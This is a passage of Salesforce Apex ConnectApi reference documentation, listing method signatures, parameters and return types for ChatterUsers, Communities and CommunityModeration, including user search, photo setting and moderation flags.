32.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo getPhoto(String communityId, String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
Return Value
Type: ConnectApi.Photo
getReputation(communityId, userId)
Returns the reputation of the specified user.
API Version
32.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.Reputation getReputation(String communityId, String userId)
1211
ChatterUsers ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
ID of the user.
Return Value
Type: ConnectApi.Reputation
getUser(communityId, userId)
Returns information about the specified user.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserSummary getUser(String communityId, String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
Return Value
Type: ConnectApi.UserDetail
1212
ChatterUsers ClassReference
Usage
If the user is external, the properties that the ConnectApi.UserDetail output class shares with the
ConnectApi.UserSummary output class can have non-null values. Other properties are always null.
getUserBatch(communityId, userIds)
Gets information about the specified list of users. Returns a list of BatchResult objects containing ConnectApi.User objects.
Returns errors embedded in the results for those users that couldn’t be loaded.
API Version
31.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.BatchResult[] getUserBatch(String communityId, List<String>
userIds)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userIds
Type: List<String>
A list of up to 500 user IDs.
Return Value
Type: BatchResult[]
The BatchResult getResults() method returns a ConnectApi.User object.
Example
// Get users in an organization.
ConnectApi.UserPage userPage = ConnectApi.ChatterUsers.getUsers(null);
// Create a list of user IDs.
List<String> userList = new List<String>();
for (ConnectApi.User user : userPage.users){
userList.add(user.id);
1213
ChatterUsers ClassReference
}
// Get info about all users in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterUsers.getUserBatch(null, userList);
for (ConnectApi.BatchResult batchResult : batchResults) {
if (batchResult.isSuccess()) {
// Operation was successful.
// Print each user's username.
ConnectApi.UserDetail user;
if(batchResult.getResult() instanceof ConnectApi.UserDetail) {
user = (ConnectApi.UserDetail) batchResult.getResult();
}
System.debug('SUCCESS');
System.debug(user.username);
}
else {
// Operation failed. Print errors.
System.debug('FAILURE');
System.debug(batchResult.getErrorMessage());
}
}
getUsers(communityId)
Returns the first page of users. The page contains the default number of items.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserPage getUsers(String communityId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.UserPage
1214
ChatterUsers ClassReference
getUsers(communityId, pageParam, pageSize)
Returns the specified page of users.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserPage getUsers(String communityId, Integer pageParam,
Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.UserPage
searchUserGroups(communityId, userId, q)
Returns the first page of groups that match the specified search criteria.
API Version
30.0
Available to Guest Users
32.0
1215
ChatterUsers ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.UserGroupPage searchUserGroups(String communityId, String
userId, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.UserGroupPage
A paginated list of groups the context user is a member of.
searchUserGroups(communityId, userId, q, pageParam, pageSize)
Returns the specified page of users that matches the specified search criteria.
API Version
30.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserGroupPage searchUserGroups(String communityId, String
userId, String q, Integer pageParam, Integer pageSize)
1216
ChatterUsers ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.UserGroupPage
A paginated list of groups the context user is a member of.
searchUsers(communityId, q)
Returns the first page of users that match the specified search criteria. The page contains the default number of items.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserPage searchUsers(String communityId, String q)
1217
ChatterUsers ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.UserPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchUsers(communityId, q, result)
Testing ConnectApi Code
searchUsers(communityId, q, pageParam, pageSize)
Returns the specified page of users that match the specified search criteria.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserPage searchUsers(String communityId, String q, Integer
pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1218
ChatterUsers ClassReference
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.UserPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchUsers(communityId, q, pageParam, pageSize, result)
Testing ConnectApi Code
searchUsers(communityId, q, searchContextId, pageParam, pageSize)
Returns the specified page of users that match the specified search criteria.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserPage searchUsers(String communityId, String q, String
searchContextId, Integer pageParam, Integer pageSize)
1219
ChatterUsers ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
searchContextId
Type: String
A feed item ID that filters search results for feed @mentions. More useful results are listed first. When you specify this argument, you
cannot query more than 500 results and you cannot use wildcards in the search term.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.UserPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchUsers(communityId, q, searchContextId, pageParam, pageSize, result)
Testing ConnectApi Code
setPhoto(communityId, userId, fileId, versionNumber)
Sets the user photo to be the specified, already uploaded file.
API Version
28.0–34.0
Important: In version 35.0 and later, use ConnectApi.UserProfiles.setPhoto(communityId, userId,
fileId, versionNumber) on page 1429
Requires Chatter
Yes
1220
ChatterUsers ClassReference
Signature
public static ConnectApi.Photo setPhoto(String communityId, String userId, String
fileId, Integer versionNumber)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
fileId
Type: String
ID of a file already uploaded. The file must be an image, and be smaller than 2 GB.
versionNumber
Type: Integer
Version number of the existing file. Specify either an existing version number, or null to get the latest version.
Return Value
Type: ConnectApi.Photo
Usage
Photos are processed asynchronously and may not be visible right away.
setPhoto(communityId, userId, fileUpload)
Sets the provided blob to be the photo for the specified user. The content type must be usable as an image.
API Version
28.0–34.0
Important: In version 35.0 and later, use ConnectApi.UserProfiles.setPhoto(communityId, userId,
fileUpload)
Requires Chatter
Yes
Signature
public static ConnectApi.Photo setPhoto(String communityId, String userId,
ConnectApi.BinaryInput fileUpload)
1221
ChatterUsers ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.
Return Value
Type: ConnectApi.Photo
Usage
Photos are processed asynchronously and may not be visible right away.
setPhotoWithAttributes(communityId, userId, photo)
Sets and crops the existing file as the photo for the specified user. The content type must be usable as an image.
API Version
29.0–34.0
Important: In version 35.0 and later, use
ConnectApi.UserProfiles.setPhotoWithAttributes(communityId, userId, photo) on page
1430
Requires Chatter
Yes
Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId,
ConnectApi.PhotoInput photo)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
1222
ChatterUsers ClassReference
The ID for the context user or the keyword me.
photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the file ID, version number, and cropping parameters.
Return Value
Type: ConnectApi.Photo
Usage
Photos are processed asynchronously and may not be visible right away.
setPhotoWithAttributes(communityId, userId, photo, fileUpload)
Sets and crops the provided blob as the photo for the specified user. The content type must be usable as an image.
API Version
29.0–34.0
Important: In version 35.0 and later, use
ConnectApi.UserProfiles.setPhotoWithAttributes(communityId, userId, photo,
fileUpload) on page 1431
Requires Chatter
Yes
Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId,
ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the cropping parameters.
fileUpload
Type: ConnectApi.BinaryInput
1223
ChatterUsers ClassReference
A file to use as the photo. The content type must be usable as an image.
Return Value
Type: ConnectApi.Photo
Usage
Photos are processed asynchronously and may not be visible right away.
updateChatterSettings(communityId, userId, defaultGroupEmailFrequency)
Updates the default Chatter settings for the specified user.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserChatterSettings updateChatterSettings(String communityId,
String userId, ConnectApi.GroupEmailFrequency defaultGroupEmailFrequency)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
defaultGroupEmailFrequency
Type: ConnectApi.GroupEmailFrequency
defaultGroupEmailFrequency—Specifies the frequency with which a user receives email. Values:
•EachPost
•DailyDigest
•WeeklyDigest
•Never
•UseDefault
Don’t pass the value UseDefault for the defaultGroupEmailFrequency parameter because calling
updateChatterSettings sets the default value.
1224
ChatterUsers ClassReference
Return Value
Type: ConnectApi.UserChatterSettings
updateUser(communityId, userId, userInput)
Updates the “About Me” section for a user.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserDetail updateUser(String communityId, String userId,
ConnectApi.UserInput userInput)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
userInput
Type: ConnectApi.UserInput
Specifies the updated information.
Return Value
Type: ConnectApi.UserDetail
ChatterUsers Test Methods
The following are the test methods for ChatterUsers. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.
setTestSearchUsers(communityId, q, result)
Registers a ConnectApi.UserPage object to be returned when the matching ConnectApi.searchUsers method is called
in a test context. Use the method with the same parameters or you receive an exception.
1225
ChatterUsers ClassReference
API Version
28.0
Signature
public static Void setTestSearchUsers(String communityId, String q, ConnectApi.UserPage
result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.UserPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchUsers(communityId, q)
Testing ConnectApi Code
setTestSearchUsers(communityId, q, pageParam, pageSize, result)
Registers a ConnectApi.UserPage object to be returned when the matching ConnectApi.searchUsers method is called
in a test context. Use the method with the same parameters or you receive an exception.
API Version
28.0
Signature
public static Void setTestSearchUsers(String communityId, String q, Integer pageParam,
Integer pageSize, ConnectApi.UserPage result)
Parameters
communityId
Type: String
1226
ChatterUsers ClassReference
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
result
Type: ConnectApi.UserPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchUsers(communityId, q, pageParam, pageSize)
Testing ConnectApi Code
setTestSearchUsers(communityId, q, searchContextId, pageParam, pageSize,
result)
Registers a ConnectApi.UserPage object to be returned when the matching ConnectApi.searchUsers method is called
in a test context. Use the method with the same parameters or you receive an exception.
API Version
28.0
Signature
public static Void setTestSearchUsers(String communityId, String q, String
searchContextId, Integer pageParam, Integer pageSize, ConnectApi.UserPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
1227
ChatterUsers ClassReference
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
searchContextId
Type: String
A feed item ID that filters search results for feed @mentions. More useful results are listed first. When you specify this argument, you
cannot query more than 500 results and you cannot use wildcards in the search term.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
result
Type: ConnectApi.UserPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchUsers(communityId, q, searchContextId, pageParam, pageSize)
Testing ConnectApi Code
Communities Class
Access general information about communities in your organization.
Namespace
ConnectApi
Communities Methods
The following are methods for Communities. All methods are static.
IN THIS SECTION:
getCommunities()
Returns a list of communities the context user has access to.
getCommunities(communityStatus)
Returns a list of communities the context user has access to with the specified status.
getCommunity(communityId)
Returns information about the specific community.
1228
Communities ClassReference
getCommunities()
Returns a list of communities the context user has access to.
API Version
28.0
Requires Chatter
No
Signature
public static ConnectApi.CommunityPage getCommunities()
Return Value
Type: ConnectApi.CommunityPage
getCommunities(communityStatus)
Returns a list of communities the context user has access to with the specified status.
API Version
28.0
Requires Chatter
No
Signature
public static ConnectApi.CommunityPage getCommunities(ConnectApi.CommunityStatus
communityStatus)
Parameters
communityStatus
Type: ConnectApi.CommunityStatus
communityStatus—Specifies the status of the community. Values are:
•Live
•Inactive
•UnderConstruction
Return Value
Type: ConnectApi.CommunityPage
1229
Communities ClassReference
getCommunity(communityId)
Returns information about the specific community.
API Version
28.0
Available to Guest Users
35.0
Requires Chatter
No
Signature
public static ConnectApi.Community getCommunity(String communityId)
Parameters
communityId
Type: String
Specify an ID for communityId. You cannot specify null or 'internal'.
Return Value
Type: ConnectApi.Community
CommunityModeration Class
Access information about flagged feed items and comments in a community. Add and remove flags from comments and feed items.
To view a feed containing all flagged feed items, pass ConnectApi.FeedType.Moderation to the
ConnectApi.ChatterFeeds.getFeedElementsFromFeed method.
Namespace
ConnectApi
CommunityModeration Methods
The following are methods for CommunityModeration. All methods are static.
IN THIS SECTION:
addFlagToComment(communityId, commentId)
Add a moderation flag to a comment.
1230
CommunityModeration ClassReference
addFlagToComment(communityId, commentId, visibility)
Add a moderation flag of the specified visibility to a comment.
addFlagToComment(communityId, commentId, type)
Add a moderation flag of the specified type to a comment.
addFlagToComment(communityId, commentId, note)
Add a moderation flag with a note to a comment.
addFlagToComment(communityId, commentId, type, note)
Add a moderation flag of the specified type with a note to a comment.
addFlagToComment(communityId, commentId, type, visibility)
Add a moderation flag of the specified type and visibility to a comment.
addFlagToComment(communityId, commentId, visibility, note)
Add a moderation flag of the specified visibility with a note to a comment.
addFlagToComment(communityId, commentId, type, visibility, note)
Add a moderation flag of the specified type and visibility with a note to a comment.
addFlagToFeedElement(communityId, feedElementId)
Add a moderation flag to a feed element.
addFlagToFeedElement(communityId, feedElementId, visibility)
Add a moderation flag of the specified visibility to a feed element.
addFlagToFeedElement(communityId, feedElementId, type)
Add a moderation flag of the specified type to a feed element.
addFlagToFeedElement(communityId, feedElementId, note)
Add a moderation flag with a note to a feed element.
addFlagToFeedElement(communityId, feedElementId, type, note)
Add a moderation flag of the specified type with a note to a feed element.
addFlagToFeedElement(communityId, feedElementId, type, visibility)
Add a moderation flag of the specified type and visibility to a feed element.
addFlagToFeedElement(communityId, feedElementId, visibility, note)
Add a moderation flag of the specified visibility with a note to a feed element.
addFlagToFeedElement(communityId, feedElementId, type, visibility, note)
Add a moderation flag of the specified type and visibility with a note to a feed element.
addFlagToFeedItem(communityId, feedItemId)
Add a moderation flag to a feed item. To add a flag to a feed item, Allow members to flag content must be selected
for a community.
addFlagToFeedItem(communityId, feedItemId, visibility)
Add a moderation flag with specified visibility to a feed item. To add a flag to a feed item, Allow members to flag
content must be selected for a community.
getFlagsOnComment(communityId, commentId)
Get the moderation flags on a comment. To get the flags, the context user must have the “Moderate Communities Feeds” permission.
getFlagsOnComment(communityId, commentId, visibility)
Get the moderation flags with specified visibility on a comment. To get the flags, the context user must have the “Moderate
Communities Feeds” permission.
1231
CommunityModeration ClassReference
getFlagsOnFeedElement(communityId, feedElementId)
Get the moderation flags on a feed element. To get the flags, the context user must have the Moderate Communities
Feeds permission.
getFlagsOnFeedElement(communityId, feedElementId, visibility)
Get the moderation flags with specified visibility on a feed element. To get the flags, the context user must have the Moderate
Communities Feeds permission.
getFlagsOnFeedItem(communityId, feedItemId)
Get the moderation flags on a feed item. To get the flags, the context user must have the “Moderate Communities Feeds” permission.
getFlagsOnFeedItem(communityId, feedItemId, visibility)
Get the moderation flags with specified visibility on a feed item. To get the flags, the context user must have the “Moderate
Communities Feeds” permission.
removeFlagFromComment(communityId, commentId, userId)
Remove a moderation flag from a comment. To remove a flag from a comment the context user must have added the flag or must
have the “Moderate Communities Feeds” permission.
removeFlagFromFeedElement(communityId, feedElementId, userId)
Remove a moderation flag from a feed element. To remove a flag from a feed element, the context user must have added the flag
or must have the Moderate Communities Feeds permission.
removeFlagsOnFeedItem(communityId, feedItemId, userId)
Remove a moderation flag from a feed item. To remove a flag from a feed item, the context user must have added the flag or must
have the “Moderate Communities Feeds” permission.
addFlagToComment(communityId, commentId)
Add a moderation flag to a comment.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String
commentId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
1232
CommunityModeration ClassReference
Return Value
Type: ConnectApi.ModerationFlags
Usage
To add a flag to a comment, Allow members to flag content must be selected for a community.
addFlagToComment(communityId, commentId, visibility)
Add a moderation flag of the specified visibility to a comment.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String
commentId, ConnectApi.CommunityFlagVisibility visibility)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types.
•ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
•SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.
Return Value
Type: ConnectApi.ModerationFlags
Usage
To add a flag to a comment, Allow members to flag content must be selected for a community.
1233
CommunityModeration ClassReference
addFlagToComment(communityId, commentId, type)
Add a moderation flag of the specified type to a comment.
API Version
38.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String
commentId, ConnectApi.CommunityFlagType type)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
type
Type: ConnectApi.CommunityFlagType
Specifies the type of moderation flag.
•FlagAsInappropriate—Flag for inappropriate content.
•FlagAsSpam—Flag for spam.
If a type isn’t specified, it defaults to FlagAsInappropriate.
Return Value
Type: ConnectApi.ModerationFlags
Usage
To add a flag to a comment, Allow members to flag content must be selected for a community.
addFlagToComment(communityId, commentId, note)
Add a moderation flag with a note to a comment.
API Version
38.0
1234
CommunityModeration ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String
commentId, String note)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
note
Type: String
A note of up to 4,000 characters about the flag.
Return Value
Type: ConnectApi.ModerationFlags
Usage
To add a flag to a comment, Allow members to flag content must be selected for a community.
addFlagToComment(communityId, commentId, type, note)
Add a moderation flag of the specified type with a note to a comment.
API Version
38.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String
commentId, ConnectApi.CommunityFlagType type, String note)
1235
CommunityModeration ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
type
Type: ConnectApi.CommunityFlagType
Specifies the type of moderation flag.
•FlagAsInappropriate—Flag for inappropriate content.
•FlagAsSpam—Flag for spam.
If a type isn’t specified, it defaults to FlagAsInappropriate.
note
Type: String
A note of up to 4,000 characters about the flag.
Return Value
Type: ConnectApi.ModerationFlags
Usage
To add a flag to a comment, Allow members to flag content must be selected for a community.
addFlagToComment(communityId, commentId, type, visibility)
Add a moderation flag of the specified type and visibility to a comment.
API Version
38.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String
commentId, ConnectApi.CommunityFlagType type, ConnectApi.CommunityFlagVisibility
visibility)
1236
CommunityModeration ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
type
Type: ConnectApi.CommunityFlagType
Specifies the type of moderation flag.
•FlagAsInappropriate—Flag for inappropriate content.
•FlagAsSpam—Flag for spam.
If a type isn’t specified, it defaults to FlagAsInappropriate.
visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types.
•ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
•SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.
Return Value
Type: ConnectApi.ModerationFlags
Usage
To add a flag to a comment, Allow members to flag content must be selected for a community.
addFlagToComment(communityId, commentId, visibility, note)
Add a moderation flag of the specified visibility with a note to a comment.
API Version
38.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String
commentId, ConnectApi.CommunityFlagVisibility visibility, String note)
1237
CommunityModeration ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types.
•ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
•SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.
note
Type: String
A note of up to 4,000 characters about the flag.
Return Value
Type: ConnectApi.ModerationFlags
Usage
To add a flag to a comment, Allow members to flag content must be selected for a community.
addFlagToComment(communityId, commentId, type, visibility, note)
Add a moderation flag of the specified type and visibility with a note to a comment.
API Version
38.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String
commentId, ConnectApi.CommunityFlagType type, ConnectApi.CommunityFlagVisibility
visibility, String note)
Parameters
communityId
Type: String
1238
CommunityModeration ClassReference
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
type
Type: ConnectApi.CommunityFlagType
Specifies the type of moderation flag.
•FlagAsInappropriate—Flag for inappropriate content.
•FlagAsSpam—Flag for spam.
If a type isn’t specified, it defaults to FlagAsInappropriate.
visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types.
•ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
•SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.
note
Type: String
A note of up to 4,000 characters about the flag.
Return Value
Type: ConnectApi.ModerationFlags
Usage
To add a flag to a comment, Allow members to flag content must be selected for a community.
addFlagToFeedElement(communityId, feedElementId)
Add a moderation flag to a feed element.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
String feedElementId)
1239
CommunityModeration ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
Return Value
Type: ConnectApi.ModerationCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
Usage
To add a flag to a feed element, Allow members to flag content must be selected for a community.
addFlagToFeedElement(communityId, feedElementId, visibility)
Add a moderation flag of the specified visibility to a feed element.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
String feedElementId, ConnectApi.CommunityFlagVisibility visibility)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types. One of these values:
•ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
1240
CommunityModeration ClassReference
•SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.
Return Value
Type: ConnectApi.ModerationCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
Usage
To add a flag to a feed element, Allow members to flag content must be selected for a community.
addFlagToFeedElement(communityId, feedElementId, type)
Add a moderation flag of the specified type to a feed element.
API Version
38.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
String feedElementId, ConnectApi.CommunityFlagType type)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
type
Type: ConnectApi.CommunityFlagType
Specifies the type of moderation flag.
•FlagAsInappropriate—Flag for inappropriate content.
•FlagAsSpam—Flag for spam.
If a type isn’t specified, it defaults to FlagAsInappropriate.
Return Value
Type: ConnectApi.ModerationCapability
1241
CommunityModeration ClassReference
Usage
To add a flag to a feed element, Allow members to flag content must be selected for a community.
addFlagToFeedElement(communityId, feedElementId, note)
Add a moderation flag with a note to a feed element.
API Version
38.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
String feedElementId, String note)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
note
Type: String
A note of up to 4,000 characters about the flag.
Return Value
Type: ConnectApi.ModerationCapability
Usage
To add a flag to a feed element, Allow members to flag content must be selected for a community.
addFlagToFeedElement(communityId, feedElementId, type, note)
Add a moderation flag of the specified type with a note to a feed element.
API Version
38.0
1242
CommunityModeration ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
String feedElementId, ConnectApi.CommunityFlagType type, String note)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
type
Type: ConnectApi.CommunityFlagType
Specifies the type of moderation flag.
•FlagAsInappropriate—Flag for inappropriate content.
•FlagAsSpam—Flag for spam.
If a type isn’t specified, it defaults to FlagAsInappropriate.
note
Type: String
A note of up to 4,000 characters about the flag.
Return Value
Type: ConnectApi.ModerationCapability
Usage
To add a flag to a feed element, Allow members to flag content must be selected for a community.
addFlagToFeedElement(communityId, feedElementId, type, visibility)
Add a moderation flag of the specified type and visibility to a feed element.
API Version
38.0
Requires Chatter
Yes
1243
CommunityModeration ClassReference
Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
String feedElementId, ConnectApi.CommunityFlagType type,
ConnectApi.CommunityFlagVisibility visibility)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
type
Type: ConnectApi.CommunityFlagType
Specifies the type of moderation flag.
•FlagAsInappropriate—Flag for inappropriate content.
•FlagAsSpam—Flag for spam.
If a type isn’t specified, it defaults to FlagAsInappropriate.
visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types. One of these values:
•ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
•SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.
Return Value
Type: ConnectApi.ModerationCapability
Usage
To add a flag to a feed element, Allow members to flag content must be selected for a community.
addFlagToFeedElement(communityId, feedElementId, visibility, note)
Add a moderation flag of the specified visibility with a note to a feed element.
API Version
38.0
Requires Chatter
Yes
1244
CommunityModeration ClassReference
Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
String feedElementId, ConnectApi.CommunityFlagVisibility visibility, String note)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types. One of these values:
•ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
•SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.
note
Type: String
A note of up to 4,000 characters about the flag.
Return Value
Type: ConnectApi.ModerationCapability
Usage
To add a flag to a feed element, Allow members to flag content must be selected for a community.
addFlagToFeedElement(communityId, feedElementId, type, visibility, note)
Add a moderation flag of the specified type and visibility with a note to a feed element.
API Version
38.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
